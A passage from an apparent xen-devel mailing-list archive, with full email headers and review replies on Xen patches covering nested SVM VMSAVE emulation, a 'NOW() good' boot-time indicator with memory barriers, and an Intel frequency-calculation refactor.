	FiCDpp1r6aLRsBAMaYqkp+jBxsDowFO0rgdRi0Uq2nbIt9SXwTM/hgOu0v3vGoaQLLlBxyq5OYi
	Zifk542XA4JwXITWkRlcUoY7gdnr8GUqsvXkYcE+eWFT9aqlGJ2tV73k7gIYT7QTWu9OAtHrxH6
	1CG6JlyNxOKDoMPvosqZKksl+H3Rtv+YIPxJlDIwTXVZ8XJC+w6/SO1oIH3rh6z9jQFqRaLed+2
	TUJlDObi6q6ge97j3fOhdFmMc92mb1cs6KvRURD9ZENj1XO29BTdYoGocVvBszWtVtVyiaL6QZB
	ffCQHXAojph1N7MJFAthFQ9aGQAr5LVBoSGFpp+iC/xjsUYgds+BCWteeyR0wpHOYRkg==
X-Received: by 2002:a05:600c:1d19:b0:493:aa0a:45ad with SMTP id 5b1f17b1804b1-496c641518dmr14388755e9.2.1785225797345;
        Tue, 28 Jul 2026 01:03:17 -0700 (PDT)
Message-ID: <874be4f5-b7fc-4114-959e-1b31ed4e7608@suse.com>
Date: Tue, 28 Jul 2026 10:03:15 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH] x86/svm: require VMSAVEvirt for nested virt
To: Stephen Cheng <stephen.cheng@citrix.com>
Cc: ross.lagerwall@citrix.com, andrew.cooper3@citrix.com,
 anthony.perard@vates.tech, jason.andryuk@amd.com, julien@xen.org,
 michal.orzel@amd.com, roger@xenproject.org, sstabellini@kernel.org,
 xen-devel@lists.xenproject.org, teddy.astie@vates.tech
References: <1785152912.8631fc262581453bbf619ec5b2062170.19fa367bc22000e099@vates.tech>
 <20260728071641.263677-1-stephen.cheng@citrix.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUr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0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <20260728071641.263677-1-stephen.cheng@citrix.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-d25034/1785225799-03CD3A5B-5C2489AB/0/0
X-purgate-type: clean
X-purgate-size: 1201

On 28.07.2026 09:16, Stephen Cheng wrote:
> On 27/07/2026 11:48, Teddy Astie wrote:
>> Had you considered improving the current implementation of virtualized
>> VMLOAD/VMSAVE ? AIUI, the way Xen currently implements this instruction
>> (by mapping the L1 VMCB then calling vmload/vmsave on it) is more of a
>> implementation choice than a requirement.
>>
>> A better (at least, likely safer) way to emulate such instructions (and
>> not relying on VMSAVEvirt) would be to copy parts of L1 VMCB from/to L0
>> VMCB and let Xen perform the appropriate vmload/vmsave on its own VMCBs
>> as usual.
> 
> You're right that it's an implementation choice rather than a hardware
> requirement.  On whether it's worth building, I'll defer to Ross's
> reply: given how limited our resources for nested virt are, and that
> AMD nested virt doesn't work today, dropping support for older parts
> isn't a functional regression.

But the functions you drop aren't needed just for older parts. They're also
going to be needed when the insn emulator hits these insns. This still is
in need of properly wiring up, but imo we better wouldn't delete code which
is going to be needed later on.

Jan


From xen-devel-bounces@lists.xenproject.org Tue Jul 28 08:03:50 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 08:03:50 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1372204.1619594 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wocn0-0003vH-LF; Tue, 28 Jul 2026 08:03:50 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1372204.1619594; Tue, 28 Jul 2026 08:03:50 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wocn0-0003vA-Ig; Tue, 28 Jul 2026 08:03:50 +0000
Received: by outflank-mailman (input) for mailman id 1372204;
 Tue, 28 Jul 2026 08:03:49 +0000
Received: from mail.xenproject.org ([104.130.215.37])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <roger.pau@citrix.com>) id 1wocmz-0003v2-DE
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 08:03:49 +0000
Received: from xenbits.xenproject.org ([104.239.192.120])
 by mail.xenproject.org with esmtp (Exim 4.96)
 (envelope-from <roger.pau@citrix.com>) id 1wocmy-00DJYe-1T;
 Tue, 28 Jul 2026 08:03:48 +0000
Received: from 224.pool85-54-217.dynamic.orange.es ([85.54.217.224]
 helo=localhost) by xenbits.xenproject.org with esmtpsa (TLS1.3) tls
 TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (Exim 4.96)
 (envelope-from <roger.pau@citrix.com>) id 1wocmx-002b0g-2I;
 Tue, 28 Jul 2026 08:03:48 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Date: Tue, 28 Jul 2026 10:03:40 +0200
From: Roger Pau =?utf-8?B?TW9ubsOp?= <roger.pau@citrix.com>
To: Jan Beulich <jbeulich@suse.com>
Cc: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Julien Grall <julien@xen.org>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Teddy Astie <teddy.astie@vates.tech>,
	Bertrand Marquis <bertrand.marquis@arm.com>,
	Volodymyr Babchuk <volodymyr_babchuk@epam.com>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>
Subject: Re: [PATCH v4 1/3] time: add "NOW() good" indicator
Message-ID: <amhiXMMBVS0P2tat@macbook.local>
References: <f5040939-b166-4050-9a27-117b772547d4@suse.com>
 <b7513795-9e4b-4358-9d46-6c7036d64b81@suse.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Disposition: inline
In-Reply-To: <b7513795-9e4b-4358-9d46-6c7036d64b81@suse.com>

On Tue, Jun 30, 2026 at 04:06:00PM +0200, Jan Beulich wrote:
> printk_start_of_line() checks for a value of 0 right now. In order to be
> able to have NOW() return at least monotonically increasing values, that
> needs replacing by an explicit indicator.
> 
> Signed-off-by: Jan Beulich <jbeulich@suse.com>
> ---
> Arm and RISC-V may want to consider whether their initial get_cycles()
> can't be moved yet earlier, such that the indicator also can be set
> yet earlier.
> ---
> v4: Add barriers.
> v3: New.
> 
> --- a/xen/arch/arm/time.c
> +++ b/xen/arch/arm/time.c
> @@ -145,6 +145,8 @@ void __init preinit_xen_time(void)
>          panic("Timer: Cannot initialize platform timer\n");
>  
>      boot_count = get_cycles();
> +    smp_wmb();
> +    NOW_good = true;
>  }
>  
>  static void __init init_dt_xen_time(void)
> --- a/xen/arch/riscv/time.c
> +++ b/xen/arch/riscv/time.c
> @@ -87,6 +87,8 @@ void __init preinit_xen_time(void)
>          panic("%s: ACPI isn't supported\n", __func__);
>  
>      boot_clock_cycles = get_cycles();
> +    smp_wmb();
> +    NOW_good = true;
>  
>      /* set_xen_timer must have been set by sbi_init() already */
>      ASSERT(set_xen_timer);
> --- a/xen/arch/x86/time.c
> +++ b/xen/arch/x86/time.c
> @@ -2660,6 +2660,7 @@ void __init early_time_init(void)
>  
>      set_time_scale(&t->tsc_scale, tmp);
>      t->stamp.local_tsc = boot_tsc_stamp;
> +    NOW_good = true;

Would you need a barrier here to ensure compiler doesn't re-order the
writes?  Maybe using ACCESS_ONCE(), or a smp_wmb() like it's used in
other arches?

Thanks, Roger.


From xen-devel-bounces@lists.xenproject.org Tue Jul 28 08:16:43 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 08:16:43 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1372224.1619604 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woczK-0006IS-Ql; Tue, 28 Jul 2026 08:16:34 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1372224.1619604; Tue, 28 Jul 2026 08:16:34 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woczK-0006IL-O5; Tue, 28 Jul 2026 08:16:34 +0000
Received: by outflank-mailman (input) for mailman id 1372224;
 Tue, 28 Jul 2026 08:16:33 +0000
Received: from mail.xenproject.org ([104.130.215.37])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <roger@xenproject.org>) id 1woczJ-0006IF-AJ
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 08:16:33 +0000
Received: from xenbits.xenproject.org ([104.239.192.120])
 by mail.xenproject.org with esmtp (Exim 4.96)
 (envelope-from <roger@xenproject.org>) id 1woczJ-00DJsI-0R;
 Tue, 28 Jul 2026 08:16:32 +0000
Received: from 224.pool85-54-217.dynamic.orange.es ([85.54.217.224]
 helo=localhost) by xenbits.xenproject.org with esmtpsa (TLS1.3) tls
 TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (Exim 4.96)
 (envelope-from <roger@xenproject.org>) id 1woczH-002c8w-21;
 Tue, 28 Jul 2026 08:16:32 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=xenproject.org; s=20200302mail; h=In-Reply-To:Content-Transfer-Encoding:
	Content-Type:MIME-Version:References:Message-ID:Subject:Cc:To:From:Date;
	bh=7oGaqfsemSBSrXtzjs1/LsnbYBcTO+WY+Mx/Osl3AA4=; b=fHk7ZnKnNDW9UR4bbTqY6IcFcq
	3cKULKbWQ8Vk5TurSQA02CW7SvCR4esP8A/2EhIwnnzK4CjQxd0ThvdlISXBc7CkBL7Zj0BdNGNPt
	vab0qcT0nCDRMdiRbqLlH4cqkhNwONykJ9qQwb9gdry/LsuPhLuhBpk1JgJXtAHXcn/U=;
Date: Tue, 28 Jul 2026 10:16:23 +0200
From: Roger Pau =?utf-8?B?TW9ubsOp?= <roger@xenproject.org>
To: Jan Beulich <jbeulich@suse.com>
Cc: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Teddy Astie <teddy.astie@vates.tech>
Subject: Re: [PATCH v4 2/3] x86/Intel: split model-specific freq calculation
 off of intel_log_freq()
Message-ID: <amhlV4FGWcfxcfLV@macbook.local>
References: <f5040939-b166-4050-9a27-117b772547d4@suse.com>
 <80b20aa4-8954-47ed-85f0-3f09d46717cf@suse.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
In-Reply-To: <80b20aa4-8954-47ed-85f0-3f09d46717cf@suse.com>

On Tue, Jun 30, 2026 at 04:06:21PM +0200, Jan Beulich wrote:
> ..., for that logic to become reusable. While doing so undo the open-
> coding of DIV_ROUND_UP(). Also switch to the new struct cpuinfo_x86 field
> names.
> 
> Signed-off-by: Jan Beulich <jbeulich@suse.com>

AFAICT this doesn't introduce any functional change.

Acked-by: Roger Pau MonnÃ© <roger@xenproject.org>

Thanks, Roger.


From xen-devel-bounces@lists.xenproject.org Tue Jul 28 08:17:45 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 08:17:45 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1372231.1619613 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wod0S-0006tc-48; Tue, 28 Jul 2026 08:17:44 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1372231.1619613; Tue, 28 Jul 2026 08:17:44 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wod0S-0006tV-0V; Tue, 28 Jul 2026 08:17:44 +0000
Received: by outflank-mailman (input) for mailman id 1372231;
 Tue, 28 Jul 2026 08:17:42 +0000
Received: from mail.xenproject.org ([104.130.215.37])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <roger@xenproject.org>) id 1wod0Q-0006tL-Q4
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 08:17:42 +0000
Received: from xenbits.xenproject.org ([104.239.192.120])
 by mail.xenproject.org with esmtp (Exim 4.96)
 (envelope-from <roger@xenproject.org>) id 1wod0P-00DJt1-38;
 Tue, 28 Jul 2026 08:17:41 +0000
Received: from 224.pool85-54-217.dynamic.orange.es ([85.54.217.224]
 helo=localhost) by xenbits.xenproject.org with esmtpsa (TLS1.3) tls
 TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (Exim 4.96)
 (envelope-from <roger@xenproject.org>) id 1wod0O-002cFs-1j;
 Tue, 28 Jul 2026 08:17:41 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=xenproject.org; s=20200302mail; h=In-Reply-To:Content-Type:MIME-Version:
	References:Message-ID:Subject:Cc:To:From:Date;
	bh=/cpPESGMrq1pMBtG/Prd4+n4WCvgO59CbBPcrJSQi0M=; b=Qe8fTj44MFXBQsXbU8rUgWQEJ2
	i3SQ5lIYRMCqjgITdsLqF6hlUwkqU+oloZ9TkGGOgRp78iNYTdiV33qRD/YVJJJvyFO8p4fVOuq6T
	NQApb3YCRNDxRdTo2yFisK8uTTKoZOnCRz1fRtmFUFgKi87h6gcgUWBcudwFfxGuETNk=;
Date: Tue, 28 Jul 2026 10:17:33 +0200
From: Roger Pau =?utf-8?B?TW9ubsOp?= <roger@xenproject.org>
To: Jan Beulich <jbeulich@suse.com>
Cc: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Julien Grall <julien@xen.org>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Teddy Astie <teddy.astie@vates.tech>,
	Bertrand Marquis <bertrand.marquis@arm.com>,
	Volodymyr Babchuk <volodymyr_babchuk@epam.com>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>
Subject: Re: [PATCH v4 1/3] time: add "NOW() good" indicator
Message-ID: <amhlnWAwF-AS_sH7@macbook.local>
References: <f5040939-b166-4050-9a27-117b772547d4@suse.com>
 <b7513795-9e4b-4358-9d46-6c7036d64b81@suse.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Disposition: inline
In-Reply-To: <b7513795-9e4b-4358-9d46-6c7036d64b81@suse.com>

On Tue, Jun 30, 2026 at 04:06:00PM +0200, Jan Beulich wrote:
> printk_start_of_line() checks for a value of 0 right now. In order to be
> able to have NOW() return at least monotonically increasing values, that
> needs replacing by an explicit indicator.
> 
> Signed-off-by: Jan Beulich <jbeulich@suse.com>
> ---
> Arm and RISC-V may want to consider whether their initial get_cycles()
> can't be moved yet earlier, such that the indicator also can be set
> yet earlier.
> ---
> v4: Add barriers.
> v3: New.
> 
> --- a/xen/arch/arm/time.c
> +++ b/xen/arch/arm/time.c
> @@ -145,6 +145,8 @@ void __init preinit_xen_time(void)
>          panic("Timer: Cannot initialize platform timer\n");
>  
>      boot_count = get_cycles();
> +    smp_wmb();
> +    NOW_good = true;
>  }
>  
>  static void __init init_dt_xen_time(void)
> --- a/xen/arch/riscv/time.c
> +++ b/xen/arch/riscv/time.c
> @@ -87,6 +87,8 @@ void __init preinit_xen_time(void)
>          panic("%s: ACPI isn't supported\n", __func__);
>  
>      boot_clock_cycles = get_cycles();
> +    smp_wmb();
> +    NOW_good = true;
>  
>      /* set_xen_timer must have been set by sbi_init() already */
>      ASSERT(set_xen_timer);
> --- a/xen/arch/x86/time.c
> +++ b/xen/arch/x86/time.c
> @@ -2660,6 +2660,7 @@ void __init early_time_init(void)
>  
>      set_time_scale(&t->tsc_scale, tmp);
>      t->stamp.local_tsc = boot_tsc_stamp;
> +    NOW_good = true;

Would you need a barrier here to ensure compiler doesn't re-order the
writes?  Maybe using ACCESS_ONCE(), or a smp_wmb() like it's used in
other arches?

Thanks, Roger.


From xen-devel-bounces@lists.xenproject.org Tue Jul 28 08:24:49 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 08:24:49 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1372239.1619621 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wod7D-0000IU-P7; Tue, 28 Jul 2026 08:24:43 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1372239.1619621; Tue, 28 Jul 2026 08:24:43 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wod7D-0000IN-MU; Tue, 28 Jul 2026 08:24:43 +0000
Received: by outflank-mailman (input) for mailman id 1372239;
 Tue, 28 Jul 2026 08:24:41 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wod7B-0000IH-QK
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 08:24:41 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wod7A-00GJ2J-If
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 10:24:40 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a686738-e002-0a2a0a5209dd-0a2a4504e432-48
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 10:24:40 +0200
Received: from [209.85.128.52] (helo=mail-wm1-f52.google.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a686748-b57f-0a2a45040019-d1558034a44b-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 10:24:40 +0200
Received: by mail-wm1-f52.google.com with SMTP id
 5b1f17b1804b1-493f6de72faso5239365e9.0
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 01:24:40 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-496c45bb2e7sm62771935e9.7.2026.07.28.01.24.38
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 28 Jul 2026 01:24:39 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785227080; x=1785831880; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=JAYMBxegxquPWH8lsakcVuIbtocL6e1ZeH4h5g9F8hI=;
        b=FqQwQ9urC2Z/j8+SRGyKfp9wvT6fIt5/MAYg/AhIeN9S1fMQ27UgQwPKoFGK5JG13C
         HQhS7PmF2ob9iFaE3wGi3Em7eFvjbuMtmeOzV6k+bJQ8N5MnCC8cTIOGdzsmza6ddYua
         Hc8xULY4yF4YxXuWsCF+WaOpiTDhHaautMdgKjcqj68keKcH+9bUq27s2eddIU4cUw/v
         8Pv20gROlYJJD2EuCY4ojZ/suneaD5zFBJNXqc0zkiN3NxD2Knv16/ZOp/7v3a/hSxKw
         +7WaWMEFALSx0wRlJ8bEchF9FAoUc0VJvYlsDT03WpV34DUXbz8Tqq9Nojq77ov9rzg0
         9IHQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785227080; x=1785831880;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=JAYMBxegxquPWH8lsakcVuIbtocL6e1ZeH4h5g9F8hI=;
        b=apn9IARXsUrUxMPRA78M8K2/fslfOMJ+ELzUG0n8T9HU7rQAZX/IXLn8etFz2Ydg/w
         /estFpp2lQu2EDDU3U6rE46FCksGpZc+bU8wDlY9QiPJU4xYLWvUdX0GDnQLim4OIdQO
         t4C/4jTfCnABBXbCaZg55kt6gRt0X19UMg4wZdLTwOqV+cE59mDUSPn7Ty4VNdJ5Nrzm
         KrzcxZ2sWqepltHoDw53wJ6zDEPpFOEpurs0+g4wa4u/GnRuQ4Ym72QGNeF1AB3Ewb+1
         upigOwPRgXYreVm90ejKo4HVPnLRGo1/NoeFASEIGIRUn+dFJJ6alMcAMekjEeaRe13j
         JxZA==
X-Gm-Message-State: AOJu0YzEFmFIqW+Dk3ogrx8LaJLeToCXVtn4RL2qI+mC9nb4/PDnQ0Ls
	iNk5r+6crCr4PuuZNUUoIbtqozYK3OpecgAUIOLm7dom3gsAhoCHMC7nYqVVryTG2g==
X-Gm-Gg: AR+sD10C2dQRkep3uYnj+Zteo1tZPVfpE6ieR2X/ichFgcYXoRQYFNwK37vUm3Iy8Uq
	5zN/DhG2JbbkOa2ABRS7vGGjgh98Jf7SKGeXzcAFsLUamGIJZU+6NGHgEAV3q6scvNW73F1Es54
	mfkWjF4CWNCa0/BkXqJ7cA/Ytx0meic8ACnmMpfk6dZQo3ppqg0CfhCtP7WgqDzGwWOriPZ/d1W
	5j/hSR7Q/UfLOyoAFN2aGnmYa2aSW+cIh0Io5bceFvE4xQbPPqvbPWmfK83QCCfQfBNl4ndILQ5
	N0DdEUpFVXa7oKJCyZk0fdf4ccayYHBQkX9W/RRRKtQ0woKC++3gnPuE2NMkCwU8tKfjiDRFlJs
	JCiR8x1WZwthefRsFHQl3o2sU42bzkQi56FdlXlkAPTsS25bcRNGjeJgdxowQSuGIv5e6qMB3mD
	qhrJGBku2NeQq4ZH0ZGCJyvVSltFl0yfz2WRnqtUp5ZL8h9BLFn4SIndA1ZhNiHkVzPg==
X-Received: by 2002:a05:600c:628d:b0:48f:e230:29f5 with SMTP id 5b1f17b1804b1-496c658c582mr12428805e9.16.1785227079933;
        Tue, 28 Jul 2026 01:24:39 -0700 (PDT)
Message-ID: <baddc2f7-deab-4727-a688-a6fe30f7fb89@suse.com>
Date: Tue, 28 Jul 2026 10:24:38 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v4 1/3] time: add "NOW() good" indicator
To: =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger@xenproject.org>
Cc: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>,
 Andrew Cooper <andrew.cooper3@citrix.com>, Julien Grall <julien@xen.org>,
 Stefano Stabellini <sstabellini@kernel.org>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Teddy Astie <teddy.astie@vates.tech>,
 Bertrand Marquis <bertrand.marquis@arm.com>,
 Volodymyr Babchuk <volodymyr_babchuk@epam.com>,
 Oleksii Kurochko <oleksii.kurochko@gmail.com>
References: <f5040939-b166-4050-9a27-117b772547d4@suse.com>
 <b7513795-9e4b-4358-9d46-6c7036d64b81@suse.com>
 <amhlnWAwF-AS_sH7@macbook.local>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rn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CsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <amhlnWAwF-AS_sH7@macbook.local>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-ebf023/1785227080-C0EDEB50-40AE5D8E/0/0
X-purgate-type: clean
X-purgate-size: 714

On 28.07.2026 10:17, Roger Pau MonnÃ© wrote:
> On Tue, Jun 30, 2026 at 04:06:00PM +0200, Jan Beulich wrote:
>> --- a/xen/arch/x86/time.c
>> +++ b/xen/arch/x86/time.c
>> @@ -2660,6 +2660,7 @@ void __init early_time_init(void)
>>  
>>      set_time_scale(&t->tsc_scale, tmp);
>>      t->stamp.local_tsc = boot_tsc_stamp;
>> +    NOW_good = true;
> 
> Would you need a barrier here to ensure compiler doesn't re-order the
> writes?  Maybe using ACCESS_ONCE(), or a smp_wmb() like it's used in
> other arches?

Aiui it isn't needed here. The compiler can't re-order the two writes,
due to our use of -fno-strict-aliasing. The barrier is there on other
arch-es to avoid re-ordering in hardware.

Jan


From xen-devel-bounces@lists.xenproject.org Tue Jul 28 08:36:52 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
